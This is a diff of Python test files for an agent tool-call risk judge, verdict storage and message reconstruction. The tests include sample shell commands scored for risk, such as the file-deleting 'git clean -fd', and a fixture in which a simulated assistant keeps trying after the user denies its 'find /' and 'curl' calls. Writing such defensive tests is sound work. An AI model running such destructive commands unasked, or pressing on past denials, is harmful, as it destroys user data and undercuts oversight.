+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_git_clean_force(self):
+        v = evaluate_heuristic("bash", {"command": "git clean -fd"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_brew_install(self):
+        v = evaluate_heuristic("bash", {"command": "brew install jq"}, "bash")
+        _assert_verdict(v, risk_level="medium", recommendation="review")
+
+    def test_cargo_install(self):
+        v = evaluate_heuristic("bash", {"command": "cargo install ripgrep"}, "bash")
+        _assert_verdict(v, risk_level="medium", recommendation="review")

tests/test_judge_storage.py

@@ -0,0 +1,258 @@
+"""Tests for intent verdict storage operations."""
+
+from __future__ import annotations
+
+from datetime import UTC, datetime, timedelta
+
+import pytest
+
+from turnstone.core.storage._sqlite import SQLiteBackend
+
+
+@pytest.fixture()
+def db(tmp_path):
+    """Fresh SQLite backend for each test."""
+    return SQLiteBackend(str(tmp_path / "test.db"))
+
+
+def _make_verdict_kwargs(**overrides):
+    """Build default kwargs for create_intent_verdict."""
+    defaults = {
+        "verdict_id": "v_001",
+        "ws_id": "ws-abc",
+        "call_id": "tc_001",
+        "func_name": "bash",
+        "func_args": '{"command":"echo hello"}',
+        "intent_summary": "Echo a greeting to stdout",
+        "risk_level": "low",
+        "confidence": 0.85,
+        "recommendation": "approve",
+        "reasoning": "Simple echo command with no side effects.",
+        "evidence": '["The command only prints text."]',
+        "tier": "heuristic",
+        "judge_model": "",
+        "latency_ms": 2,
+    }
+    defaults.update(overrides)
+    return defaults
+
+
+# ---------------------------------------------------------------------------
+# CRUD Operations
+# ---------------------------------------------------------------------------
+
+
+class TestIntentVerdictCRUD:
+    def test_create_and_get(self, db):
+        db.create_intent_verdict(**_make_verdict_kwargs())
+        v = db.get_intent_verdict("v_001")
+        assert v is not None
+        assert v["verdict_id"] == "v_001"
+        assert v["ws_id"] == "ws-abc"
+        assert v["call_id"] == "tc_001"
+        assert v["func_name"] == "bash"
+        assert v["func_args"] == '{"command":"echo hello"}'
+        assert v["intent_summary"] == "Echo a greeting to stdout"
+        assert v["risk_level"] == "low"
+        assert v["confidence"] == 0.85
+        assert v["recommendation"] == "approve"
+        assert v["reasoning"] == "Simple echo command with no side effects."
+        assert v["evidence"] == '["The command only prints text."]'
+        assert v["tier"] == "heuristic"
+        assert v["judge_model"] == ""
+        assert v["latency_ms"] == 2
+        assert v["user_decision"] == ""
+        assert "created" in v
+
+    def test_get_nonexistent(self, db):
+        assert db.get_intent_verdict("nonexistent") is None
+
+    def test_update_user_decision(self, db):
+        db.create_intent_verdict(**_make_verdict_kwargs())
+        ok = db.update_intent_verdict("v_001", user_decision="approved")
+        assert ok is True
+        v = db.get_intent_verdict("v_001")
+        assert v is not None
+        assert v["user_decision"] == "approved"
+
+    def test_update_mutable_fields(self, db):
+        db.create_intent_verdict(**_make_verdict_kwargs())
+        ok = db.update_intent_verdict(
+            "v_001",
+            intent_summary="Updated summary",
+            risk_level="high",
+            confidence=0.95,
+            recommendation="deny",
+            reasoning="Changed reasoning",
+            evidence='["new evidence"]',
+            tier="llm",
+            judge_model="gpt-5",
+            latency_ms=500,
+        )
+        assert ok is True
+        v = db.get_intent_verdict("v_001")
+        assert v is not None
+        assert v["intent_summary"] == "Updated summary"
+        assert v["risk_level"] == "high"
+        assert v["confidence"] == 0.95
+        assert v["recommendation"] == "deny"
+        assert v["reasoning"] == "Changed reasoning"
+        assert v["evidence"] == '["new evidence"]'
+        assert v["tier"] == "llm"
+        assert v["judge_model"] == "gpt-5"
+        assert v["latency_ms"] == 500
+
+    def test_update_rejects_immutable_fields(self, db):
+        """Non-mutable fields like ws_id, call_id, func_name are rejected."""
+        db.create_intent_verdict(**_make_verdict_kwargs())
+        # Only non-mutable fields passed — should return False (no valid fields).
+        ok = db.update_intent_verdict(
+            "v_001",
+            ws_id="ws-hacked",
+            call_id="tc_hacked",
+            func_name="hacked",
+        )
+        assert ok is False
+        v = db.get_intent_verdict("v_001")
+        assert v is not None
+        assert v["ws_id"] == "ws-abc"
+        assert v["call_id"] == "tc_001"
+        assert v["func_name"] == "bash"
+
+    def test_update_nonexistent(self, db):
+        ok = db.update_intent_verdict("missing", user_decision="approved")
+        assert ok is False
+
+
+# ---------------------------------------------------------------------------
+# List queries
+# ---------------------------------------------------------------------------
+
+
+class TestIntentVerdictList:
+    def test_list_by_ws_id(self, db):
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v1", ws_id="ws-1"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v2", ws_id="ws-1"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v3", ws_id="ws-2"))
+
+        results = db.list_intent_verdicts(ws_id="ws-1")
+        assert len(results) == 2
+        assert all(r["ws_id"] == "ws-1" for r in results)
+
+    def test_list_by_risk_level(self, db):
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v1", risk_level="low"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v2", risk_level="high"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v3", risk_level="low"))
+
+        results = db.list_intent_verdicts(risk_level="high")
+        assert len(results) == 1
+        assert results[0]["verdict_id"] == "v2"
+
+    def test_list_by_date_range(self, db):
+        now = datetime.now(UTC)
+
+        # create_intent_verdict uses datetime.now(UTC) internally, so
+        # we test with since/until relative to the auto-created time.
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v1"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v2"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v3"))
+
+        # All should be within a recent window
+        one_minute_ago = (now - timedelta(minutes=1)).isoformat()
+        one_minute_later = (now + timedelta(minutes=1)).isoformat()
+        results = db.list_intent_verdicts(since=one_minute_ago, until=one_minute_later)
+        assert len(results) == 3
+
+        # Nothing before a far-past date
+        ancient = "2020-01-01T00:00:00"
+        results = db.list_intent_verdicts(until=ancient)
+        assert len(results) == 0
+
+    def test_list_pagination(self, db):
+        for i in range(10):
+            db.create_intent_verdict(**_make_verdict_kwargs(verdict_id=f"v_{i:03d}"))
+
+        page1 = db.list_intent_verdicts(limit=3, offset=0)
+        assert len(page1) == 3
+
+        page2 = db.list_intent_verdicts(limit=3, offset=3)
+        assert len(page2) == 3
+
+        # Pages should not overlap
+        ids1 = {r["verdict_id"] for r in page1}
+        ids2 = {r["verdict_id"] for r in page2}
+        assert ids1.isdisjoint(ids2)
+
+    def test_list_ordering_desc(self, db):
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v_aaa"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v_bbb"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v_ccc"))
+
+        results = db.list_intent_verdicts()
+        # Created timestamps are likely identical (fast inserts), so
+        # secondary sort is by verdict_id DESC.
+        ids = [r["verdict_id"] for r in results]
+        assert ids == ["v_ccc", "v_bbb", "v_aaa"]
+
+    def test_list_empty(self, db):
+        assert db.list_intent_verdicts() == []
+
+    def test_list_combined_filters(self, db):
+        db.create_intent_verdict(
+            **_make_verdict_kwargs(verdict_id="v1", ws_id="ws-1", risk_level="high")
+        )
+        db.create_intent_verdict(
+            **_make_verdict_kwargs(verdict_id="v2", ws_id="ws-1", risk_level="low")
+        )
+        db.create_intent_verdict(
+            **_make_verdict_kwargs(verdict_id="v3", ws_id="ws-2", risk_level="high")
+        )
+
+        results = db.list_intent_verdicts(ws_id="ws-1", risk_level="high")
+        assert len(results) == 1
+        assert results[0]["verdict_id"] == "v1"
+
+
+# ---------------------------------------------------------------------------
+# Count queries
+# ---------------------------------------------------------------------------
+
+
+class TestIntentVerdictCount:
+    def test_count_basic(self, db):
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v1"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v2"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v3"))
+        assert db.count_intent_verdicts() == 3
+
+    def test_count_empty(self, db):
+        assert db.count_intent_verdicts() == 0
+
+    def test_count_with_ws_id(self, db):
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v1", ws_id="ws-1"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v2", ws_id="ws-1"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v3", ws_id="ws-2"))
+        assert db.count_intent_verdicts(ws_id="ws-1") == 2
+
+    def test_count_with_risk_level(self, db):
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v1", risk_level="low"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v2", risk_level="high"))
+        db.create_intent_verdict(**_make_verdict_kwargs(verdict_id="v3", risk_level="high"))
+        assert db.count_intent_verdicts(risk_level="high") == 2
+
+    def test_count_matches_list_length(self, db):
+        """Count with filters matches the length of list with same filters."""
+        db.create_intent_verdict(
+            **_make_verdict_kwargs(verdict_id="v1", ws_id="ws-1", risk_level="high")
+        )
+        db.create_intent_verdict(
+            **_make_verdict_kwargs(verdict_id="v2", ws_id="ws-1", risk_level="low")
+        )
+        db.create_intent_verdict(
+            **_make_verdict_kwargs(verdict_id="v3", ws_id="ws-2", risk_level="high")
+        )
+
+        for ws, rl in [("ws-1", ""), ("", "high"), ("ws-1", "high"), ("ws-2", "low")]:
+            count = db.count_intent_verdicts(ws_id=ws, risk_level=rl)
+            listed = db.list_intent_verdicts(ws_id=ws, risk_level=rl)
+            assert count == len(listed), f"Mismatch for ws_id={ws!r}, risk_level={rl!r}"

tests/test_reconstruct_messages.py

@@ -0,0 +1,229 @@
+"""Tests for the shared message reconstruction logic."""
+
+import json
+
+from turnstone.core.storage._utils import reconstruct_messages
+
+
+def _row(
+    role,
+    content=None,
+    tool_name=None,
+    tool_args=None,
+    tc_id=None,
+    pdata=None,
+    tool_calls=None,
+):
+    """Build a 7-element conversation row tuple (post-migration 013 format)."""
+    return (role, content, tool_name, tool_args, tc_id, pdata, tool_calls)
+
+
+class TestAssistantWithToolCalls:
+    """Assistant messages with tool_calls JSON are self-contained."""
+
+    def test_assistant_with_tool_calls_and_content(self):
+        tc = json.dumps(
+            [
+                {
+                    "id": "call_1",
+                    "type": "function",
+                    "function": {"name": "read_file", "arguments": '{"path":"/tmp/x"}'},
+                }
+            ]
+        )
+        rows = [
+            _row("assistant", "Let me check that.", tool_calls=tc),
+            _row("tool", "file contents", tc_id="call_1"),
+        ]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert len(msgs) == 2
+        assert msgs[0]["role"] == "assistant"
+        assert msgs[0]["content"] == "Let me check that."
+        assert len(msgs[0]["tool_calls"]) == 1
+        assert msgs[0]["tool_calls"][0]["function"]["name"] == "read_file"
+        assert msgs[1]["role"] == "tool"
+        assert msgs[1]["tool_call_id"] == "call_1"
+
+    def test_assistant_with_multiple_tool_calls(self):
+        tc = json.dumps(
+            [
+                {
+                    "id": "call_1",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"ls"}'},
+                },
+                {
+                    "id": "call_2",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"pwd"}'},
+                },
+            ]
+        )
+        rows = [
+            _row("assistant", tool_calls=tc),
+            _row("tool", "files", tc_id="call_1"),
+            _row("tool", "/home", tc_id="call_2"),
+        ]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert len(msgs) == 3
+        assert len(msgs[0]["tool_calls"]) == 2
+        assert msgs[1]["role"] == "tool"
+        assert msgs[2]["role"] == "tool"
+
+    def test_assistant_without_tool_calls(self):
+        rows = [_row("assistant", "Hello there.")]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert len(msgs) == 1
+        assert msgs[0]["role"] == "assistant"
+        assert msgs[0]["content"] == "Hello there."
+        assert "tool_calls" not in msgs[0]
+
+
+class TestMultipleTurns:
+    """Multiple assistant turns with tool calls stay separate."""
+
+    def test_two_tool_call_turns(self):
+        tc1 = json.dumps(
+            [
+                {
+                    "id": "call_1",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"ls"}'},
+                }
+            ]
+        )
+        tc2 = json.dumps(
+            [
+                {
+                    "id": "call_2",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"cat file1"}'},
+                }
+            ]
+        )
+        rows = [
+            _row("assistant", "I'll run two commands.", tool_calls=tc1),
+            _row("tool", "file1\nfile2", tc_id="call_1"),
+            _row("assistant", "Now reading.", tool_calls=tc2),
+            _row("tool", "contents", tc_id="call_2"),
+        ]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert len(msgs) == 4
+        assert msgs[0]["content"] == "I'll run two commands."
+        assert len(msgs[0]["tool_calls"]) == 1
+        assert msgs[2]["content"] == "Now reading."
+        assert len(msgs[2]["tool_calls"]) == 1
+
+    def test_denied_tool_calls_with_commentary(self):
+        """Two denied tool batches with assistant commentary in between."""
+        tc1 = json.dumps(
+            [
+                {
+                    "id": "call_1",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"find /"}'},
+                }
+            ]
+        )
+        tc2 = json.dumps(
+            [
+                {
+                    "id": "call_2",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"curl ..."}'},
+                }
+            ]
+        )
+        rows = [
+            _row("assistant", tool_calls=tc1),
+            _row("tool", "Denied by user", tc_id="call_1"),
+            _row("assistant", "Interesting! Let me try something else."),
+            _row("assistant", tool_calls=tc2),
+            _row("tool", "Denied by user", tc_id="call_2"),
+        ]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert len(msgs) == 5
+        assert msgs[0]["role"] == "assistant"
+        assert msgs[0]["tool_calls"][0]["function"]["name"] == "bash"
+        assert msgs[1]["role"] == "tool"
+        assert msgs[2]["role"] == "assistant"
+        assert msgs[2]["content"] == "Interesting! Let me try something else."
+        assert "tool_calls" not in msgs[2]
+        assert msgs[3]["role"] == "assistant"
+        assert msgs[3]["tool_calls"][0]["function"]["name"] == "bash"
+        assert msgs[4]["role"] == "tool"
+
+
+class TestEdgeCases:
+    """Edge cases in message reconstruction."""
+
+    def test_incomplete_turn_repair(self):
+        """Trailing tool_calls without enough tool_results are stripped."""
+        tc = json.dumps(
+            [
+                {
+                    "id": "call_1",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"ls"}'},
+                },
+                {
+                    "id": "call_2",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"cat x"}'},
+                },
+            ]
+        )
+        rows = [
+            _row("user", "hello"),
+            _row("assistant", "Let me check.", tool_calls=tc),
+            # Only 1 tool result for 2 tool_calls
+            _row("tool", "file1", tc_id="call_1"),
+        ]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert len(msgs) == 1
+        assert msgs[0]["role"] == "user"
+
+    def test_empty_rows(self):
+        msgs = reconstruct_messages([], "ws1")
+        assert msgs == []
+
+    def test_provider_data_preserved(self):
+        pdata = json.dumps([{"type": "text", "text": "hello"}])
+        rows = [_row("assistant", "hello", pdata=pdata)]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert msgs[0]["_provider_content"] == [{"type": "text", "text": "hello"}]
+
+    def test_user_message(self):
+        rows = [_row("user", "hello world")]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert len(msgs) == 1
+        assert msgs[0] == {"role": "user", "content": "hello world"}
+
+    def test_none_content_becomes_empty_string(self):
+        rows = [_row("user", None)]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert msgs[0]["content"] == ""
+
+    def test_tool_without_tc_id_uses_empty_string(self):
+        rows = [
+            _row(
+                "assistant",
+                tool_calls=json.dumps(
+                    [{"id": "c1", "type": "function", "function": {"name": "x", "arguments": ""}}]
+                ),
+            ),
+            _row("tool", "output", tc_id=None),
+        ]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert msgs[1]["tool_call_id"] == ""
+
+    def test_unknown_role_ignored(self):
+        rows = [
+            _row("user", "hi"),
+            _row("system", "you are helpful"),
+            _row("assistant", "hello"),
+        ]
+        msgs = reconstruct_messages(rows, "ws1")
+        assert len(msgs) == 2
+        assert msgs[0]["role"] == "user"
+        assert msgs[1]["role"] == "assistant"

tests/test_sessions.py

@@ -155,13 +155,23 @@ class TestLoadMessages:
         assert msgs[1] == {"role": "assistant", "content": "hi there"}
 
     def test_tool_calls_with_ids(self, tmp_db):
+        import json
+
+        tc_json = json.dumps(
+            [
+                {
+                    "id": "call_abc",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"ls"}'},
+                }
+            ]
+        )
         save_message("s1", "user", "run ls")
-        save_message("s1", "assistant", "Let me check.")
-        save_message("s1", "tool_call", None, "bash", '{"command":"ls"}', tool_call_id="call_abc")
-        save_message("s1", "tool_result", "file1.txt\nfile2.txt", "bash", tool_call_id="call_abc")
+        save_message("s1", "assistant", "Let me check.", tool_calls=tc_json)
+        save_message("s1", "tool", "file1.txt\nfile2.txt", "bash", tool_call_id="call_abc")
         msgs = load_messages("s1")
         assert len(msgs) == 3  # user, assistant+tool_calls, tool
-        # Assistant should have content merged with tool_calls
+        # Assistant should have content and tool_calls
         assert msgs[1]["role"] == "assistant"
         assert msgs[1]["content"] == "Let me check."
         assert len(msgs[1]["tool_calls"]) == 1
@@ -172,23 +182,27 @@ class TestLoadMessages:
         assert msgs[2]["tool_call_id"] == "call_abc"
         assert msgs[2]["content"] == "file1.txt\nfile2.txt"
 
-    def test_tool_calls_without_ids_positional(self, tmp_db):
-        """Legacy data without tool_call_id uses positional matching."""
-        save_message("s1", "user", "do stuff")
-        save_message("s1", "tool_call", None, "bash", '{"command":"ls"}')
-        save_message("s1", "tool_result", "output", "bash")
-        msgs = load_messages("s1")
-        assert len(msgs) == 3
-        # Synthetic IDs should match
-        tc_id = msgs[1]["tool_calls"][0]["id"]
-        assert msgs[2]["tool_call_id"] == tc_id
-
     def test_parallel_tool_calls(self, tmp_db):
+        import json
+
+        tc_json = json.dumps(
+            [
+                {
+                    "id": "call_1",
+                    "type": "function",
+                    "function": {"name": "search", "arguments": '{"query":"a"}'},
+                },
+                {
+                    "id": "call_2",
+                    "type": "function",
+                    "function": {"name": "search", "arguments": '{"query":"b"}'},
+                },
+            ]
+        )
         save_message("s1", "user", "search two things")
-        save_message("s1", "tool_call", None, "search", '{"query":"a"}', tool_call_id="call_1")
-        save_message("s1", "tool_call", None, "search", '{"query":"b"}', tool_call_id="call_2")
-        save_message("s1", "tool_result", "result a", "search", tool_call_id="call_1")
-        save_message("s1", "tool_result", "result b", "search", tool_call_id="call_2")
+        save_message("s1", "assistant", None, tool_calls=tc_json)
+        save_message("s1", "tool", "result a", "search", tool_call_id="call_1")
+        save_message("s1", "tool", "result b", "search", tool_call_id="call_2")
         msgs = load_messages("s1")
         assert len(msgs) == 4  # user, assistant+2 tool_calls, 2 tool results
         assert len(msgs[1]["tool_calls"]) == 2
@@ -198,12 +212,6 @@ class TestLoadMessages:
     def test_empty_workstream(self, tmp_db):
         assert load_messages("nonexistent") == []
 
-    def test_orphaned_tool_result_skipped(self, tmp_db):
-        save_message("s1", "user", "hello")
-        save_message("s1", "tool_result", "orphan", "bash")
-        msgs = load_messages("s1")
-        assert len(msgs) == 1  # only the user message
-
 
 # ── Delete workstream ─────────────────────────────────────────────────
 
@@ -226,7 +234,7 @@ class TestDeleteWorkstream:
 
 class TestSaveMessageToolCallId:
     def test_tool_call_id_stored(self, tmp_db):
-        save_message("s1", "tool_call", None, "bash", '{"cmd":"ls"}', tool_call_id="call_xyz")
+        save_message("s1", "tool", "output", "bash", tool_call_id="call_xyz")
         engine = get_storage()._engine  # noqa: SLF001
         with engine.connect() as conn:
             row = conn.execute(
@@ -349,42 +357,96 @@ class TestInterruptedWorkstreamRepair:
     """load_messages() should strip trailing incomplete tool call turns."""
 
     def test_complete_tool_turn_preserved(self, tmp_db):
-        """2 tool_calls + 2 tool_results = complete, no stripping."""
+        """2 tool_calls + 2 tool results = complete, no stripping."""
+        import json
+
+        tc_json = json.dumps(
+            [
+                {
+                    "id": "call_1",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"ls"}'},
+                },
+                {
+                    "id": "call_2",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"pwd"}'},
+                },
+            ]
+        )
         save_message("s1", "user", "hello")
-        save_message("s1", "tool_call", None, "bash", '{"command":"ls"}', "call_1")
-        save_message("s1", "tool_call", None, "bash", '{"command":"pwd"}', "call_2")
-        save_message("s1", "tool_result", "file.txt", tool_call_id="call_1")
-        save_message("s1", "tool_result", "/home", tool_call_id="call_2")
+        save_message("s1", "assistant", None, tool_calls=tc_json)
+        save_message("s1", "tool", "file.txt", tool_call_id="call_1")
+        save_message("s1", "tool", "/home", tool_call_id="call_2")
         msgs = load_messages("s1")
         assert len(msgs) == 4  # user + assistant(2 calls) + 2 tool results
 
     def test_partial_tool_results_stripped(self, tmp_db):
-        """2 tool_calls + 1 tool_result = incomplete, strip the turn."""
+        """2 tool_calls + 1 tool result = incomplete, strip the turn."""
+        import json
+
+        tc_json = json.dumps(
+            [
+                {
+                    "id": "call_1",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"ls"}'},
+                },
+                {
+                    "id": "call_2",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"pwd"}'},
+                },
+            ]
+        )
         save_message("s1", "user", "hello")
-        save_message("s1", "tool_call", None, "bash", '{"command":"ls"}', "call_1")
-        save_message("s1", "tool_call", None, "bash", '{"command":"pwd"}', "call_2")
-        save_message("s1", "tool_result", "file.txt", tool_call_id="call_1")
+        save_message("s1", "assistant", None, tool_calls=tc_json)
+        save_message("s1", "tool", "file.txt", tool_call_id="call_1")
         msgs = load_messages("s1")
         assert len(msgs) == 1  # only user message remains
         assert msgs[0]["role"] == "user"
 
     def test_zero_tool_results_stripped(self, tmp_db):
-        """2 tool_calls + 0 tool_results = incomplete, strip the turn."""
+        """Assistant with tool_calls + 0 results = incomplete, strip the turn."""
+        import json
+
+        tc_json = json.dumps(
+            [
+                {
+                    "id": "call_1",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"ls"}'},
+                },
+                {
+                    "id": "call_2",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"pwd"}'},
+                },
+            ]
+        )
         save_message("s1", "user", "hello")
-        save_message("s1", "assistant", "Let me check")
-        save_message("s1", "tool_call", None, "bash", '{"command":"ls"}', "call_1")
-        save_message("s1", "tool_call", None, "bash", '{"command":"pwd"}', "call_2")
+        save_message("s1", "assistant", "Let me check", tool_calls=tc_json)
         msgs = load_messages("s1")
-        # assistant with content was merged into tool_call assistant, so stripped
         assert len(msgs) == 1
         assert msgs[0]["role"] == "user"
 
     def test_complete_turn_before_incomplete_preserved(self, tmp_db):
         """Complete turn followed by incomplete turn: keep complete, strip incomplete."""
+        import json
+
+        tc_json = json.dumps(
+            [
+                {
+                    "id": "call_1",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"command":"ls"}'},
+                },
+            ]
+        )
         save_message("s1", "user", "first")
         save_message("s1", "assistant", "response")
         save_message("s1", "user", "second")
-        save_message("s1", "tool_call", None, "bash", '{"command":"ls"}', "call_1")
+        save_message("s1", "assistant", None, tool_calls=tc_json)
         msgs = load_messages("s1")
         assert len(msgs) == 3  # user + assistant + user (incomplete turn stripped)
         assert msgs[0]["role"] == "user"

tests/test_storage_sqlite.py

@@ -43,10 +43,21 @@ class TestSaveAndLoadMessages:
         assert msgs[1]["content"] == "world"
 
     def test_tool_call_grouping(self, backend):
+        import json
+
         backend.register_workstream("s1")
+        tc_json = json.dumps(
+            [
+                {
+                    "id": "c1",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"cmd":"ls"}'},
+                }
+            ]
+        )
         backend.save_message("s1", "user", "do something")
-        backend.save_message("s1", "tool_call", None, "bash", '{"cmd":"ls"}', tool_call_id="c1")
-        backend.save_message("s1", "tool_result", "file.txt", tool_call_id="c1")
+        backend.save_message("s1", "assistant", None, tool_calls=tc_json)
+        backend.save_message("s1", "tool", "file.txt", tool_call_id="c1")
         backend.save_message("s1", "assistant", "done")
         msgs = backend.load_messages("s1")
         assert len(msgs) == 4
@@ -57,12 +68,27 @@ class TestSaveAndLoadMessages:
         assert msgs[2]["content"] == "file.txt"
 
     def test_incomplete_turn_repair(self, backend):
+        import json
+
         backend.register_workstream("s1")
+        tc_json = json.dumps(
+            [
+                {
+                    "id": "c1",
+                    "type": "function",
+                    "function": {"name": "bash", "arguments": '{"cmd":"ls"}'},
+                },
+                {
+                    "id": "c2",
+                    "type": "function",
+                    "function": {"name": "read", "arguments": '{"path":"a"}'},
+                },
+            ]
+        )
         backend.save_message("s1", "user", "do something")
-        backend.save_message("s1", "tool_call", None, "bash", '{"cmd":"ls"}', tool_call_id="c1")
-        backend.save_message("s1", "tool_call", None, "read", '{"path":"a"}', tool_call_id="c2")
+        backend.save_message("s1", "assistant", None, tool_calls=tc_json)
         # Only 1 result for 2 calls — incomplete turn
-        backend.save_message("s1", "tool_result", "ok", tool_call_id="c1")
+        backend.save_message("s1", "tool", "ok", tool_call_id="c1")
         msgs = backend.load_messages("s1")
         # Incomplete turn should be stripped
         assert len(msgs) == 1  # only the user message remains

tests/test_ws_template_runtime.py

@@ -0,0 +1,374 @@
+"""Tests for workstream template runtime — template application, token budget, config persistence."""
+
+from __future__ import annotations
+
+from unittest.mock import MagicMock, patch
+
+from turnstone.core.session import ChatSession
+from turnstone.mq.protocol import CreateWorkstreamMessage
+from turnstone.server import WebUI
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+
+class NullUI:
+    """UI adapter that discards all output."""
+
+    def on_thinking_start(self):
+        pass
+
+    def on_thinking_stop(self):
+        pass
+
+    def on_reasoning_token(self, text):
+        pass
+
+    def on_content_token(self, text):
+        pass
+
+    def on_stream_end(self):
+        pass
+
+    def approve_tools(self, items):
+        return True, None
+
+    def on_tool_result(self, call_id, name, output):
+        pass
+
+    def on_tool_output_chunk(self, call_id, chunk):
+        pass
+
+    def on_status(self, usage, context_window, effort):
+        pass
+
+    def on_plan_review(self, content):
+        return ""
+
+    def on_info(self, message):
+        pass
+
+    def on_error(self, message):
+        pass
+
+    def on_state_change(self, state):
+        pass
+
+    def on_rename(self, name):
+        pass
+
+
+def _make_session(ui=None, **kwargs):
+    defaults = dict(
+        client=MagicMock(),
+        model="test-model",
+        ui=ui or NullUI(),
+        instructions=None,
+        temperature=0.5,
+        max_tokens=4096,
+        tool_timeout=30,
+    )
+    defaults.update(kwargs)
+    return ChatSession(**defaults)
+
+
+# ---------------------------------------------------------------------------
+# Template application — defaults and constructor
+# ---------------------------------------------------------------------------
+
+
+def test_session_token_budget_default_zero(tmp_db):
+    session = _make_session()
+    assert session._token_budget == 0
+
+
+def test_session_save_config_includes_ws_template_fields(tmp_db):
+    session = _make_session()
+    session._token_budget = 50000
+    session._ws_template_id = "tpl-abc"
+    session._ws_template_version = 3
+    session._notify_on_complete = '{"url": "http://example.com"}'
+    session._save_config()
+
+    from turnstone.core.memory import load_workstream_config
+
+    config = load_workstream_config(session._ws_id)
+    assert config["token_budget"] == "50000"
+    assert config["ws_template_id"] == "tpl-abc"
+    assert config["ws_template_version"] == "3"
+    assert config["notify_on_complete"] == '{"url": "http://example.com"}'
+
+
+def test_session_resume_restores_token_budget(tmp_db):
+    s1 = _make_session()
+    s1._token_budget = 100000
+    s1._save_config()
+    # Seed at least one message so resume can load the workstream
+    s1.messages.append({"role": "user", "content": "hello"})
+    from turnstone.core.memory import save_message
+
+    save_message(s1._ws_id, "user", "hello")
+
+    s2 = _make_session()
+    assert s2.resume(s1._ws_id)
+    assert s2._token_budget == 100000
+
+
+def test_session_resume_restores_ws_template_id(tmp_db):
+    s1 = _make_session()
+    s1._ws_template_id = "tpl-xyz"
+    s1._save_config()
+    from turnstone.core.memory import save_message
+
+    save_message(s1._ws_id, "user", "ping")
+
+    s2 = _make_session()
+    assert s2.resume(s1._ws_id)
+    assert s2._ws_template_id == "tpl-xyz"
+
+
+def test_session_resume_restores_ws_template_version(tmp_db):
+    s1 = _make_session()
+    s1._ws_template_version = 7
+    s1._save_config()
+    from turnstone.core.memory import save_message
+
+    save_message(s1._ws_id, "user", "ping")
+
+    s2 = _make_session()
+    assert s2.resume(s1._ws_id)
+    assert s2._ws_template_version == 7
+
+
+def test_session_resume_restores_notify_on_complete(tmp_db):
+    s1 = _make_session()
+    s1._notify_on_complete = '{"channel": "#ops"}'
+    s1._save_config()
+    from turnstone.core.memory import save_message
+
+    save_message(s1._ws_id, "user", "ping")
+
+    s2 = _make_session()
+    assert s2.resume(s1._ws_id)
+    assert s2._notify_on_complete == '{"channel": "#ops"}'
+
+
+# ---------------------------------------------------------------------------
+# Token budget tracking
+# ---------------------------------------------------------------------------
+
+
+def test_budget_warning_at_80_percent(tmp_db):
+    ui = MagicMock(spec_set=NullUI)
+    ui.approve_tools.return_value = (True, None)
+    session = _make_session(ui=ui)
+    session._token_budget = 10000
+    # Simulate usage at 80% of budget
+    session._last_usage = {"prompt_tokens": 7500, "completion_tokens": 500}
+    session._update_token_table({"role": "assistant", "content": "hi"})
+    assert session._budget_warned is True
+    ui.on_info.assert_called_once()
+    assert "80%" in ui.on_info.call_args[0][0]
+
+
+def test_budget_exhausted_at_100_percent(tmp_db):
+    ui = MagicMock(spec_set=NullUI)
+    ui.approve_tools.return_value = (True, None)
+    session = _make_session(ui=ui)
+    session._token_budget = 10000
+    session._last_usage = {"prompt_tokens": 9000, "completion_tokens": 1500}
+    session._update_token_table({"role": "assistant", "content": "hi"})
+    assert session._budget_exhausted is True
+
+
+def test_budget_zero_no_tracking(tmp_db):
